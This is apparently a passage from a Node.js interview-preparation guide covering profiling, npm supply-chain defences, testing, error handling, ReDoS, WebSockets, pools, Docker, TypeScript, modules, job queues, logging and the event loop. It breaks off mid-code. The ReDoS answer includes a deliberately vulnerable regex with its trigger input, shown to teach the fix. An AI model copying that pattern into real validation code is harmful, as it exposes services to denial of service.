CPU profiling answers 'where do the milliseconds go' by sampling the call stack thousands of times per second; the aggregated result renders as a flame graph where frame width equals time share, and wide flat-topped frames are your targets. Node has profiling built in. node --cpu-prof server.js writes a .cpuprofile file on exit (control location and name with --cpu-prof-dir/--cpu-prof-name); load it in Chrome DevTools' Performance panel or speedscope.app to explore. For a live process you can attach the inspector (node --inspect, or send SIGUSR1 to enable it on a running process) and record a profile from DevTools during a real traffic spike, which is often how production incidents actually get diagnosed.
The older --prof flag produces a V8 tick log processed with node --prof-process, still useful in restricted environments. Third-party tooling makes this friendlier: 0x wraps your app, samples it, and emits an interactive HTML flame graph in one command (npx 0x server.js, then load-test, then Ctrl+C); clinic flame does the same within the Clinic.js suite, and clinic doctor first classifies whether your problem is CPU, I/O, GC, or event-loop delay before you reach for flame. Reading the graph is the skill: time in your own handlers means algorithmic work to optimise or offload to workers; wide JSON.parse/stringify frames mean payload problems (stream, or precompile serialisers with fast-json-stringify); wide GC frames (Scavenge/Mark-Compact) mean allocation pressure, so hunt allocations rather than CPU; wide zlib or crypto frames suggest moving work off the loop or caching results. Always profile under realistic load (autocannon or k6 alongside), and in an interview narrate the loop: baseline p99, profile, fix the widest frame, re-measure, repeat until the SLO is met.
# One-shot profile of a load test:
node --cpu-prof --cpu-prof-dir=./profiles server.js &
npx autocannon -d 30 -c 100 http://localhost:3000/search
kill -SIGINT %1 # .cpuprofile written on exit
# open profiles/*.cpuprofile in Chrome DevTools or speedscope.app
# Interactive flame graph with 0x:
npx 0x -o server.js # run, load-test, Ctrl+C, opens HTML
# Triage first with clinic:
npx clinic doctor -- node server.js # classifies CPU vs I/O vs GC
npx clinic flame -- node server.js # then drill into CPU
# Attach to a live production process without restart:
kill -USR1 <pid> # enables inspector on 127.0.0.1:9229
# then chrome://inspect -> Performance -> record during the spike
Q37How do you defend a Node project against npm supply-chain attacks?
IntermediateSecurity
Answer
The npm attack surface is real and current: the 2025 wave of incidents (compromised maintainer accounts publishing malicious versions of widely-used packages, and self-propagating credential-stealing worms) proved that a routine npm install can execute attacker code on developer laptops and CI runners via install scripts. Defence is layered. Lockfile discipline: commit package-lock.json and install with npm ci everywhere automated, so a poisoned new patch release cannot slip in between lockfile updates; integrity hashes in the lockfile also detect tampered tarballs.
Script control: postinstall scripts are the primary payload vehicle, so run npm ci --ignore-scripts in CI and production builds, re-enabling scripts only for the short allowlist of packages that legitimately compile (sharp, esbuild); npm also supports disabling scripts globally via .npmrc ignore-scripts=true. Update hygiene: do not auto-merge dependency bumps the hour they publish; a cooldown of days lets the ecosystem catch malicious releases (several 2025 payloads were pulled within 24 hours), and tools like Renovate support minimumReleaseAge-style delays. Auditing: npm audit for known CVEs (treat it as signal, not gospel, given noise), and the overrides field in package.json to force-pin a patched transitive version when a direct dependency lags.
Provenance: npm supports build provenance attestation (npm publish --provenance) linking a package to its source repo and CI run; prefer dependencies that publish it. Blast-radius control: scoped registry credentials, no long-lived npm tokens on laptops, 2FA mandatory for publishing, and CI secrets exposed only to the steps that need them, since exfiltrating environment variables is exactly what the 2025 worms did. Finally, reduce dependency count at all: Node now natively covers fetch, tests, env files, watching, and argument parsing, and every dependency you do not install is an attack you cannot receive.
Key Points
- npm ci + committed lockfile: integrity hashes catch tampering
- --ignore-scripts kills the postinstall payload vector
- Cooldown periods on dependency bumps; overrides for transitive pins
- Provenance attestations, publisher 2FA, short-lived tokens
- Fewer dependencies at all: the platform absorbed many of them
Q38How do you integration-test HTTP endpoints in Node, with supertest or plain fetch?
IntermediateTesting
Answer
Unit tests on services with mocked dependencies are necessary but insufficient: routing, middleware order, validation, serialisation, and error mapping only break at the HTTP boundary, so you need tests that exercise the real request pipeline. The classic tool is supertest: you pass it your Express/Fastify app object (not a running server), it binds to an ephemeral port behind the scenes, and its chainable API asserts status, headers, and body. The dependency-free alternative on modern Node: start the server yourself on port 0 (the OS assigns a free port), read server.address().port, and hit it with the built-in fetch; slightly more boilerplate, zero extra packages, works with any framework.
Either way, the design questions matter more than the tool. Isolate state: each test file gets its own app instance and either a dedicated test database (Testcontainers spinning up real Postgres/Redis in Docker is the 2026 standard for CI fidelity) or transactional rollbacks around each test; in-memory fakes like SQLite for Postgres pass tests that lie about production. Stub the network edge: outbound third-party calls (payment gateways, KYC APIs, WhatsApp providers) must not fire in CI; undici's MockAgent intercepts fetch traffic in-process, and nock does the same for http-based clients, letting you script upstream responses including failures and timeouts, which is where the interesting bugs live.
Test the contract, not the implementation: assert on status codes, response shapes, and side effects (row created, event emitted), not on internal function calls. And keep one thin layer of true end-to-end smoke tests against a deployed environment, because in-process tests cannot catch reverse-proxy, TLS, or infrastructure-config regressions.
// app.test.js, using node:test + supertest
import { test } from 'node:test';
import assert from 'node:assert/strict';
import request from 'supertest';
import { buildApp } from '../src/app.js'; // factory, no .listen() inside
test('POST /signup validates and creates a user', async () => {
const app = buildApp({ db: testDb });
await request(app)
.post('/signup')
.send({ email: 'not-an-email' })
.expect(400); // validation layer exercised for real
const res = await request(app)
.post('/signup')
.send({ email: 'a@b.co', password: 'S3cure!pass' })
.expect(201);
assert.ok(res.body.id);
});
// Zero-dependency variant with ephemeral port + fetch:
test('GET /health', async () => {
const server = buildApp({ db: testDb }).listen(0);
const { port } = server.address();
const res = await fetch(`http://127.0.0.1:${port}/health`);
assert.equal(res.status, 200);
server.close();
});
Q39Operational vs programmer errors in Node: how should each be handled, and what do Error.cause and AggregateError add?
IntermediateError Handling
Answer
The distinction, popularised by Joyent's error-handling guidance and still the backbone of good Node design, is between operational errors (expected failures of a correct program: upstream timeout, ECONNREFUSED, validation rejection, 404, disk full) and programmer errors (bugs: reading a property of undefined, wrong argument type, broken invariant). They demand opposite treatment. Operational errors are part of your API: catch them close to where you can act, retry with backoff where idempotent, translate them into clean 4xx/5xx responses, and log them at appropriate levels without stack-trace panic.
Programmer errors should not be caught and 'handled': the process is in an unknown state, so log loudly and crash, letting PM2/Kubernetes restart clean (this philosophy is why unhandled rejections crash modern Node by default). Encode the distinction in your error types: a base AppError with code, statusCode, and isOperational fields; global handlers check isOperational to decide between 'respond and continue' and 'log and die'. Error.cause (standard since Node 16.9) fixes context loss when wrapping: throw new Error('Payment failed', { cause: originalAxiosError }) preserves the full underlying error as a chain, so logs show both the business-level failure and the root ETIMEDOUT beneath it; pino and modern console.error render cause chains, and you should walk err.cause when classifying errors.
Before cause, wrapping either discarded the original or mangled messages together. AggregateError represents many failures as one: Promise.any rejects with it when every promise fails (inspect err.errors array), and it is the right type to throw yourself when a batch operation partially fails and you need to report all sub-failures rather than the first. Interviewers probe whether you catch-and-rethrow with cause, or silently swallow, and whether you can defend crash-on-programmer-error to a manager.
class AppError extends Error {
constructor(message, { code, statusCode = 500, isOperational = true, cause } = {}) {
super(message, { cause });
this.code = code;
this.statusCode = statusCode;
this.isOperational = isOperational;
}
}
// Wrap without losing the root cause:
try {
await gateway.charge(order);
} catch (err) {
throw new AppError('Payment failed', {
code: 'PAYMENT_UPSTREAM',
statusCode: 502,
cause: err, // full chain preserved for logs
});
}
// Batch failure surfaced completely:
const results = await Promise.allSettled(jobs.map(run));
const failures = results.filter(r => r.status === 'rejected');
if (failures.length) {
throw new AggregateError(failures.map(f => f.reason), `${failures.length} jobs failed`);
}
Q40What is ReDoS, and how do you protect a Node API from hostile payloads (regex bombs, giant bodies, deep JSON)?
IntermediateSecurity
Answer
ReDoS (regular expression denial of service) exploits catastrophic backtracking: patterns with nested or ambiguous quantifiers like (a+)+$ or (\w+\s?)*$ take exponential time on crafted non-matching input. Because JavaScript regex evaluation is synchronous on the event loop, one malicious 40-character string in a validation route freezes the entire process for seconds or minutes, an outage from a single unauthenticated request. Real-world Node CVEs of this class have hit popular packages (older versions of validator, semver, and various email/URL patterns).
Defences: avoid nested quantifiers and overlapping alternations; lint for them (eslint-plugin-regexp and its runtime-complexity rules); cap input length before regex ever runs (a 254-char limit before an email regex removes the attack surface almost entirely); for user-supplied or complex patterns use RE2 bindings (the re2 package), a linear-time engine that simply cannot backtrack, accepting its lack of backreferences and lookbehind. ReDoS is one member of the hostile-payload family, and interviewers want the whole checklist. Body size: express.json({ limit: '100kb' }) (the default is around 100kb, but set it consciously per route; file-upload routes get their own multipart limits via busboy/multer settings) so a 2 GB POST cannot balloon memory.
JSON depth and key floods: JSON.parse is iterative so depth is less lethal than in some runtimes, but multi-MB JSON still blocks the loop during parsing, and prototype-pollution via __proto__ keys in merged objects is the sharper JSON risk: use Object.create(null) maps or structuredClone, and validate with schemas (zod, ajv) before touching data. Compression bombs: cap decompressed size when accepting gzipped bodies. Slowloris-style trickle attacks: node:http's server.headersTimeout and requestTimeout (both enabled with sane defaults on modern Node) close sockets that dribble bytes. Finally, rate limiting at the edge plus per-route timeouts turn any residual slow path from an outage into a blip.
// VULNERABLE: nested quantifier + unanchored user input
const emailish = /^([a-zA-Z0-9]+)*@example\.com$/;
// '!'.repeat(40) prefixed input -> seconds of blocked event loop
// Layered fix:
function validateEmail(input) {
if (typeof input !== 'string' || input.length > 254) return false; // cap FIRST
return /^[^@\s]+@[^@\s]+\.[^@\s]+$/.test(input); // linear-ish, no nesting
}
// Linear-time engine for anything complex or user-supplied:
import RE2 from 're2';
const safe = new RE2(userPattern); // cannot backtrack catastrophically
// Body limits + schema validation at the boundary:
app.use(express.json({ limit: '100kb' }));
const OrderSchema = z.object({
sku: z.string().max(64),
qty: z.number().int().min(1).max(1000),
}).strict(); // rejects unexpected keys incl. __proto__ pollution vectors
app.post('/orders', (req, res) => {
const parsed = OrderSchema.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: 'invalid payload' });
});
Q41How do WebSockets work in Node, and how do you scale Socket.IO beyond one process?
IntermediateRealtime
Answer
A WebSocket starts life as an HTTP GET with Upgrade: websocket headers; the server replies 101 Switching Protocols and the TCP socket switches to persistent, bidirectional framed messaging. In Node the standard low-level server library is ws: fast, spec-compliant, minimal (heartbeats, reconnection, and routing are yours to build, and you must implement ping/pong keepalives because half-dead connections behind NATs and mobile networks otherwise linger for hours). Node itself also ships a browser-compatible WebSocket client global on modern versions, handy for service-to-service and test code without a dependency.
Socket.IO sits a layer above: rooms, namespaces, automatic reconnection with backoff, acknowledgement callbacks, and HTTP long-polling fallback for networks that break WebSockets (still relevant on some Indian mobile carriers and corporate proxies), at the cost of a custom protocol incompatible with plain WebSocket clients. Scaling is where interviews go. The moment you run two processes (cluster or replicas), two problems appear.
First, connection affinity: Socket.IO's polling fallback sends multiple HTTP requests that must hit the same process, so load balancers need sticky sessions (cookie-based, or hashing on source IP); pure-WebSocket deployments can relax this. Second, cross-process broadcast: a message emitted to a room on pod A must reach sockets connected to pod B. The standard answer is the Redis adapter (@socket.io/redis-adapter): every emit publishes to Redis pub/sub and all pods deliver to their local sockets; alternatives exist for Kafka, NATS, and Postgres.
State discipline follows: no in-memory user-to-socket maps; presence and room membership live in Redis with TTLs. Also mention backpressure (socket.bufferedAmount / ws's socket.bufferedAmount analogue: stop pushing to slow clients or you buffer unbounded), auth on the upgrade request (verify the JWT before accepting, not after), and heartbeat-based zombie reaping.
// Minimal ws server with auth-at-upgrade and heartbeats:
import { WebSocketServer } from 'ws';
const wss = new WebSocketServer({ noServer: true });
server.on('upgrade', (req, socket, head) => {
const user = verifyJwt(new URL(req.url, 'http://x').searchParams.get('token'));
if (!user) return socket.destroy(); // reject BEFORE the handshake
wss.handleUpgrade(req, socket, head, (ws) => wss.emit('connection', ws, user));
});
wss.on('connection', (ws) => {
ws.isAlive = true;
ws.on('pong', () => { ws.isAlive = true; });
});
setInterval(() => wss.clients.forEach((ws) => {
if (!ws.isAlive) return ws.terminate(); // reap zombies
ws.isAlive = false;
ws.ping();
}), 30_000).unref();
// Socket.IO across pods: Redis adapter
import { createAdapter } from '@socket.io/redis-adapter';
io.adapter(createAdapter(pubClient, subClient));
io.to(`order:${orderId}`).emit('status', 'shipped'); // reaches every pod
Q42What does node:timers/promises give you, and how do you write cancellable delays and polling loops?
IntermediateAsync Patterns
Answer
node:timers/promises provides promise-returning versions of the timer primitives, which turn callback-scheduled time into awaitable, composable, cancellable values. setTimeout(ms, value, { signal }) resolves with value after ms; setInterval(ms, value, { signal }) returns an async iterator you consume with for await, giving you a tick loop with natural backpressure (a slow iteration delays the next tick observation rather than stacking callbacks); setImmediate(value) yields to the event loop's check phase, useful for cooperative chunking of CPU work; and scheduler.wait(ms) is the newer whatwg-aligned alias for a plain delay. The transformative part is the AbortSignal option: a sleep or interval bound to a signal rejects with AbortError the moment the controller aborts, so shutdown logic can instantly wake every sleeping loop in the process instead of waiting out their delays, which is the difference between a 200 ms and a 30 s deploy drain. These primitives compose into the patterns production services actually need.
Retry with backoff: loop attempts, await setTimeout(delay * 2 ** attempt) between them, all under one signal so caller cancellation propagates. Polling: for await (const _ of setInterval(5000, undefined, { signal })) { await checkJob(); } exits cleanly on abort. Timeout racing: prefer AbortSignal.timeout(ms) passed into the underlying operation over Promise.race with a sleep, because racing abandons the loser to run (and hold sockets) in the background rather than cancelling it, a subtle leak interviewers like to probe. Two hygiene notes: an awaited setTimeout keeps the process alive by design (pass { ref: false } for background-only waits), and never reimplement sleep with new Promise(r => setTimeout(r, ms)) in modern code, both because it is uncancellable and because you lose the shared idiom.
import { setTimeout as sleep, setInterval as ticks } from 'node:timers/promises';
// Retry with exponential backoff, fully cancellable:
async function withRetry(fn, { attempts = 4, signal } = {}) {
for (let i = 0; ; i++) {
try {
return await fn({ signal });
} catch (err) {
if (i >= attempts - 1 || err.name === 'AbortError') throw err;
await sleep(250 * 2 ** i, undefined, { signal }); // wakes on abort
}
}
}
// Polling loop that dies instantly on shutdown:
const shutdownAc = new AbortController();
process.on('SIGTERM', () => shutdownAc.abort());
try {
for await (const _ of ticks(5000, undefined, { signal: shutdownAc.signal })) {
await reconcilePendingPayments();
}
} catch (err) {
if (err.name !== 'AbortError') throw err; // clean exit path
}
Q43How do you size and manage a database connection pool from Node (pg, mysql2)?
IntermediateDatabases
Answer
Opening a database connection costs a TCP+TLS handshake plus server-side process/thread allocation, so production Node services hold a pool of reusable connections: new Pool({ max, idleTimeoutMillis, connectionTimeoutMillis }) in pg, mysql.createPool({ connectionLimit, queueLimit }) in mysql2. Queries check a connection out and return it; when all are busy, requests queue inside the driver. Sizing is the interview core, and the right instinct is smaller than people expect.
Postgres connections are expensive server-side, and total demand is pool size times process count times pod count: 30 pods running cluster of 4 with max 20 is 2,400 connections, which flattens a default-configured Postgres. Start around max 10 per process, measure pool wait time, and remember the database can only actually execute roughly its core count of queries simultaneously; beyond that, extra connections just relocate queueing to the expensive side. At fleet scale the answer is server-side pooling: PgBouncer (or RDS Proxy) in transaction mode multiplexes thousands of client connections onto tens of real ones, with the caveat that transaction-mode pooling breaks session state (prepared statements, SET, advisory locks), which drivers must be configured for.
Operational discipline the follow-ups probe: always release connections in finally (a leaked checkout under error paths slowly starves the pool, the classic 'timeout exceeded when trying to connect' incident); set connectionTimeoutMillis so saturation surfaces as a fast, observable error instead of unbounded queueing; attach an error listener to the pool because idle connections killed by network blips emit 'error' and, unhandled, crash the process; use statement_timeout so one runaway query cannot pin connections; and export pool metrics (totalCount, idleCount, waitingCount in pg) to your dashboards, since pool saturation is a leading indicator of database incidents. Transactions must run all statements on one checked-out client, never through the implicit pool.query round-robin.
import pg from 'pg';
const pool = new pg.Pool({
connectionString: process.env.DATABASE_URL,
max: 10, // per process; multiply by processes!
idleTimeoutMillis: 30_000,
connectionTimeoutMillis: 2_000, // fail fast when saturated
statement_timeout: 15_000, // no runaway queries
});
pool.on('error', (err) => logger.logError(err, 'pg idle client'));
// Transaction = one client, released in finally:
export async function transferCredits(fromId, toId, amount) {
const client = await pool.connect();
try {
await client.query('BEGIN');
await client.query(
'UPDATE wallets SET balance = balance - $1 WHERE user_id = $2', [amount, fromId]);
await client.query(
'UPDATE wallets SET balance = balance + $1 WHERE user_id = $2', [amount, toId]);
await client.query('COMMIT');
} catch (err) {
await client.query('ROLLBACK');
throw err;
} finally {
client.release(); // skip this on one error path = starved pool
}
}
setInterval(() => metrics.gauge('pg.waiting', pool.waitingCount), 10_000).unref();
Q44What does a production-grade Dockerfile for a Node service look like, and why do signals and PID 1 matter?
IntermediateProduction
Answer
A production Node image needs to be small, reproducible, non-root, and signal-correct, and each property maps to specific Dockerfile decisions. Base image: pin a specific LTS variant like node:22-slim (Debian-slim balances size against the musl-libc edge cases that alpine occasionally hits with native addons; distroless or chainguard images go further for security-sensitive deployments). Multi-stage build: stage one installs all dependencies and runs the build (TypeScript compile, bundling); stage two starts fresh and copies only package files, production node_modules (npm ci --omit=dev), and build output, so devDependencies, source, and npm cache never ship.
Layer caching: COPY package*.json and run npm ci before copying source, so code changes do not invalidate the dependency layer, cutting CI build times dramatically. Determinism: npm ci, never npm install, and a .dockerignore excluding node_modules, .git, and .env (secrets in images are a breach waiting for a registry leak). Runtime posture: USER node (the official images ship this non-root user; running as root turns any RCE into container-root), NODE_ENV=production (Express and many libraries enable caching and disable debug paths from it), and an explicit memory ceiling like NODE_OPTIONS=--max-old-space-size sized to the container limit.
Signals and PID 1: CMD ["node", "server.js"] in exec form, never npm start (npm interposes itself and does not reliably forward SIGTERM) and never shell form (a /bin/sh wrapper becomes PID 1 and swallows signals). PID 1 additionally receives no default kernel signal handlers and must reap zombie children, so either your Node code handles SIGTERM explicitly (mandatory anyway for graceful drain) and spawns nothing, or you add a tiny init: docker run --init, or tini as ENTRYPOINT. Finish with a HEALTHCHECK or, in Kubernetes, readiness and liveness probes hitting a route that checks real dependencies.
# syntax=docker/dockerfile:1
FROM node:22-slim AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci # full deps for build
COPY . .
RUN npm run build # tsc / bundler
FROM node:22-slim AS runtime
ENV NODE_ENV=production \
NODE_OPTIONS=--max-old-space-size=768
WORKDIR /app
COPY package*.json ./
RUN npm ci --omit=dev --ignore-scripts && npm cache clean --force
COPY --from=build /app/dist ./dist
USER node # non-root
EXPOSE 3000
# exec form, node directly: signals reach the process
CMD ["node", "dist/server.js"]
# .dockerignore: node_modules, .git, .env, dist, Dockerfile
Key Points
- Multi-stage: build deps never reach the runtime image
- npm ci --omit=dev; package*.json copied before source for caching
- USER node, NODE_ENV=production, explicit heap ceiling
- CMD exec form with node directly; npm start swallows SIGTERM
- PID 1 needs signal handling: your code, --init, or tini
Q45How do you run TypeScript directly in Node, and what can type stripping not do?
IntermediateTypeScript
Answer
Node can now execute TypeScript files natively via type stripping: the runtime removes type annotations (using a SWC-based stripper) and runs the remaining JavaScript, without type checking and without a build step. The capability arrived behind --experimental-strip-types in Node 22.6, and running erasable-syntax .ts files works without any flag on current lines (default from Node 23.6 onward). The operative word is erasable: only syntax that can be deleted leaving valid JS is supported.
Enums, namespaces with runtime values, and constructor parameter properties (constructor(private x: number)) generate code, so they need --experimental-transform-types; and features that depend on tsconfig semantics, like emitDecoratorMetadata (which NestJS's DI relies on) and path aliases, are not honoured by the runtime at all. Type stripping also does zero checking: a file with type errors runs happily, so tsc --noEmit stays in CI as the actual type gate, with the runtime treating types as comments. This layered reality defines the 2026 toolchain: node script.ts for scripts and increasingly for plain services written in erasable-only style (the TypeScript team itself now promotes an 'erasableSyntaxOnly' compiler option to enforce that style); tsx as the batteries-included dev runner where transforms, aliases, and watch ergonomics are wanted (it superseded ts-node in most new projects); and a real build (tsc, or esbuild/swc for speed) for publishing libraries and for frameworks needing decorator metadata. Interview follow-ups to be ready for: why no checking at runtime (startup cost and the principle that the runtime should not embed a specific TypeScript version's checker), how extensions work (imports must reference the real .ts file path in ESM style), and what erasableSyntaxOnly bans (enums, namespaces, parameter properties), which conveniently are the features many style guides already discouraged.
// script.ts: erasable types only
interface Order { id: string; amount: number }
const discount = (o: Order, pct: number): number =>
o.amount * (1 - pct / 100);
console.log(discount({ id: 'A1', amount: 999 }, 10));
# Runs directly on current Node, no flags, no build:
node script.ts
# Runtime-generating syntax needs the transform flag:
# enum Status { Active } <- not erasable
# constructor(private db: Db) <- not erasable
node --experimental-transform-types legacy.ts
# Types are NOT checked at runtime; CI still needs:
npx tsc --noEmit
// tsconfig option that enforces the natively-runnable subset:
{ "compilerOptions": { "erasableSyntaxOnly": true } }
Q46Can require() load an ES module now? Explain the current CJS/ESM interop rules.
IntermediateModules
Answer
Yes, with conditions, and this is the biggest module-system shift in years. Historically require() of an ESM file threw ERR_REQUIRE_ESM, which forced dual-package publishing and drove the painful 'ESM-only' library migrations (pure-ESM releases of packages like chalk and got famously broke thousands of CJS codebases). Modern Node (unflagged from 22.12 and 23 onward, after incubating as --experimental-require-module) allows require(esm) as long as the module graph is synchronous: if the ESM module or anything it imports uses top-level await, require() fails with ERR_REQUIRE_ASYNC_MODULE, because require's contract is a synchronous return and an async graph cannot honour it; such modules remain reachable from CJS only via dynamic import(), which returns a promise.
Mechanically, require(esm) returns the module namespace object, so named exports appear as properties, and a default export is res.default; Node applies __esModule-style interop markers so transpiled consumers behave, and the CJS-to-ESM direction is unchanged (import of CJS gives module.exports as default plus named exports detected by cjs-module-lexer's static analysis). The practical consequences interviewers want you to articulate: library authors can increasingly ship ESM-only without abandoning CJS consumers, shrinking the dual-package problem and its hazard (the same package loaded twice through both formats, yielding two module instances and broken instanceof checks); application teams stuck on CJS can adopt ESM-only dependencies without migrating their whole codebase; and the remaining hard boundary is top-level await, which is a real design constraint when authoring libraries (initialise lazily in functions rather than at module top level if you want require-compatibility). Detection matters too: process.features.require_module reports support, and packages can use the "module-sync" exports condition to serve a sync-safe ESM entry specifically to require().
// math.mjs: plain synchronous ESM
export const add = (a, b) => a + b;
export default { name: 'math' };
// consumer.cjs on modern Node:
const math = require('./math.mjs'); // works now (no TLA in graph)
console.log(math.add(2, 3)); // named export -> property
console.log(math.default.name); // default lives on .default
// async-graph module:
// db.mjs: const conn = await connect(); export { conn };
try {
require('./db.mjs');
} catch (err) {
console.log(err.code); // ERR_REQUIRE_ASYNC_MODULE
}
// Only route in from CJS:
import('./db.mjs').then(({ conn }) => use(conn));
console.log(process.features.require_module); // capability check
Q47How do you run background jobs from Node with BullMQ, and why not just setInterval in the API process?
IntermediateArchitecture
Answer
Anything slow, retryable, or bursty does not belong on the HTTP request path: sending email and WhatsApp notifications, generating PDFs, resizing images, syncing to a CRM, recomputing recommendations. The Node-standard answer in 2026 is BullMQ: a Redis-backed queue where producers add jobs (queue.add(name, data, opts)) and a Worker in a separate process consumes them with configurable concurrency. Jobs get what naive in-process approaches lack: persistence (a deploy or crash does not lose queued work), at-least-once delivery with automatic retries and exponential backoff, rate limiting (critical when the downstream is a WhatsApp or email provider with strict per-second caps, a very familiar constraint in Indian notification stacks), delayed and repeatable jobs (cron-style schedules), priorities, and dead-letter visibility via the failed set so poison messages are inspectable instead of silently gone.
The setInterval-in-the-API-process pattern fails on every axis: work dies with the process, multiplies under cluster/replicas (every pod runs the interval, so the report emails send four times), competes with request latency for the event loop, and has no retry semantics. Design points that mark seniority: workers run in dedicated processes/pods so queue depth scales independently of API traffic; jobs must be idempotent because at-least-once means duplicates (key side effects on a jobId or idempotency key); payloads carry references (orderId), not fat objects, since Redis holds them; concurrency is tuned per worker against downstream capacity, not maximised; and repeatable jobs replace ad-hoc cron only when you also handle the 'missed while down' question. Observability: queue depth, job age, and failure counts exported to dashboards; a growing wait count is an early incident signal. Alternatives worth naming to show breadth: SQS+Lambda or Kafka consumers at bigger scale, pg-boss when Postgres-only infrastructure is a constraint, and Temporal when jobs become multi-step workflows needing durable state machines.
// producer (API process): enqueue and return 202 immediately
import { Queue } from 'bullmq';
const invoiceQueue = new Queue('invoices', { connection: redis });
app.post('/orders/:id/invoice', async (req, res) => {
await invoiceQueue.add('generate', { orderId: req.params.id }, {
jobId: `invoice-${req.params.id}`, // idempotency: dedupes retries
attempts: 5,
backoff: { type: 'exponential', delay: 2000 },
removeOnComplete: 1000, // keep last 1k for inspection
});
res.status(202).json({ status: 'queued' });
});
// worker (separate process/pod):
import { Worker } from 'bullmq';
new Worker('invoices', async (job) => {
const order = await db.orders.find(job.data.orderId);
await generateAndEmailInvoice(order); // must be safe to re-run
}, {
connection: redis,
concurrency: 8,
limiter: { max: 50, duration: 1000 }, // respect provider rate caps
}).on('failed', (job, err) =>
logger.logError(err, 'invoiceWorker', null, { jobId: job?.id }));
Q48How do you set up structured logging with pino, and why is console.log a production problem?
IntermediateObservability
Answer
console.log in a production service fails on four axes. Format: free-text lines cannot be queried ('show 5xx for user 123 in the last hour' needs fields, not grep luck). Performance: console methods serialise eagerly and can write synchronously depending on the destination, so heavy logging measurably steals event-loop time, and logging large objects is a classic hidden latency source.
Levels: no way to ship debug detail in an incident and silence it after. Context: nothing correlates lines belonging to one request. Structured logging fixes all four, and pino is the Node standard: it emits one JSON object per line (msg, level, time, pid, plus your fields), is engineered for low overhead (careful serialisation, optional worker-thread transports so pretty-printing or shipping never blocks the loop), and integrates with every log pipeline since JSON lines are what Loki, OpenSearch, Datadog, and CloudWatch ingest natively.
The patterns that matter: log to stdout only and let the platform (Docker log driver, k8s agent) ship it, per twelve-factor, rather than managing files from the app; use child loggers (logger.child({ requestId, userId })) or AsyncLocalStorage integration so every line in a request carries correlation fields automatically (pino-http wires this for Express); set level by environment (info in prod, debug locally, switchable at runtime via an admin endpoint for incident forensics); and configure redaction paths (redact: ['req.headers.authorization', '*.password', '*.otp']) because tokens and PII in logs are a compliance incident, not a style issue, an acute concern for anything touching Indian fintech data under RBI/DPDP expectations. Include error objects as { err } so pino serialises stack and cause chain properly. Finally, tie logs to traces by injecting traceId/spanId from OpenTelemetry context into every line, which turns 'three pillars' from slideware into an actual debugging workflow: alert on metrics, find the trace, pivot to its logs.
import pino from 'pino';
export const logger = pino({
level: process.env.LOG_LEVEL ?? 'info',
redact: ['req.headers.authorization', '*.password', '*.otp', '*.pan'],
formatters: { level: (label) => ({ level: label }) },
});
// Express wiring: per-request child logger with correlation fields
import pinoHttp from 'pino-http';
app.use(pinoHttp({
logger,
genReqId: (req) => req.headers['x-request-id'] ?? crypto.randomUUID(),
}));
app.post('/payments', async (req, res) => {
req.log.info({ orderId: req.body.orderId }, 'payment initiated');
try {
const result = await charge(req.body);
req.log.info({ gatewayRef: result.ref }, 'payment settled');
res.json(result);
} catch (err) {
req.log.error({ err }, 'payment failed'); // stack + cause serialised
res.status(502).json({ error: 'PAYMENT_UPSTREAM' });
}
});
// Output: one queryable JSON line per event, shipped from stdout
Q49Predict the output: a nextTick, promise, setTimeout, and setImmediate ordering puzzle. What rules decide it?
AdvancedEvent Loop
Answer
Ordering puzzles are the standard senior screen because they test a complete mental model rather than trivia. The rules that decide every such puzzle: (1) all synchronous code runs first, to completion; (2) after the currently executing callback finishes, Node drains the process.nextTick queue completely, then the microtask (promise) queue completely, and this pair of drains repeats between every subsequent callback; (3) macrotasks then execute according to event-loop phase order: expired timers (setTimeout/setInterval) in the timers phase, I/O callbacks in poll, setImmediate in check; (4) callbacks scheduled during a drain join the current drain (which is why recursive nextTick starves I/O but recursive setImmediate does not); (5) an async function runs synchronously until its first await, and the continuation after the await is a microtask. Work the example below: the synchronous pass logs 'start' and 'end' and schedules everything else.
Then the nextTick queue ('nextTick 1', and 'nextTick 2' which was added during the promise callback ordering trap), then microtasks ('promise 1', then 'await continuation'), then the timers phase ('timeout'), with its own nested microtask ('promise in timeout') draining before the loop proceeds to check ('immediate'). The subtle beats interviewers listen for: nextTick added inside a microtask still runs before the next macrotask (the queues re-drain between callbacks, and nextTick has priority at each drain point); each timer callback gets its own full microtask drain immediately after it, not after all timers; and at top level, setTimeout(fn, 0) versus setImmediate ordering is nondeterministic, but any nextTick or promise always beats both. If you can narrate these five rules while stepping through the snippet, you have answered every variant of this question.
console.log('start');
setTimeout(() => {
console.log('timeout');
Promise.resolve().then(() => console.log('promise in timeout'));
}, 0);
setImmediate(() => console.log('immediate'));
process.nextTick(() => console.log('nextTick 1'));
Promise.resolve().then(() => {
console.log('promise 1');
process.nextTick(() => console.log('nextTick 2'));
});
(async () => {
await null;
console.log('await continuation');
})();
console.log('end');
// Output:
// start, end,
// nextTick 1, promise 1, await continuation, nextTick 2,
// timeout, promise in timeout,
// immediate
Q50How does V8 garbage collection actually work in a Node process, and how do you read GC pressure in production?
AdvancedMemory
Answer
V8 is generational: it bets that most objects die young. Allocations land in the young generation (new space), split into two semispaces; a minor GC, the scavenger, copies live objects between semispaces and is fast because it touches only survivors. Objects surviving two scavenges are promoted to the old generation, collected by the major GC: mark-sweep-compact under the Orinoco design, which is parallel (multiple threads mark and sweep), incremental (marking interleaved with your JS in small steps), and concurrent (much marking and sweeping happens off the main thread), so full stop-the-world pauses are far rarer than folklore suggests, though large heaps still see pauses worth measuring.
Why a server engineer cares: GC cost scales with allocation rate and live-set size, and its symptoms are precise. High scavenge frequency means allocation churn (per-request object storms, string concatenation in hot loops, closure-heavy middleware); the fix is allocating less (reuse buffers, avoid spreading large objects per request), or enlarging the young generation with --max-semi-space-size (trading memory for fewer, cheaper minor GCs, a documented win on allocation-heavy API servers). Long or frequent major GCs mean a large or growing old-gen live set: either genuine working-set growth (raise --max-old-space-size) or promotion of garbage due to mid-lifetime objects (caches without TTLs are the classic driver).
Measurement, not vibes: PerformanceObserver on 'gc' entries gives per-collection type and duration in-process; --trace-gc prints one line per collection for offline reading; v8.getHeapStatistics() and getHeapSpaceStatistics() expose space-by-space usage; and APM runtime metrics chart all of this. Two traps to volunteer: 'external' memory (Buffers) pressures the system but not the JS heap, so GC will not save you from a Buffer leak; and calling global.gc() (exposed via --expose-gc) belongs in benchmarks only, never production code, since it forces expensive full collections the scheduler was rightly avoiding.
import { PerformanceObserver, constants } from 'node:perf_hooks';
const kinds = {
[constants.NODE_PERFORMANCE_GC_MINOR]: 'scavenge',
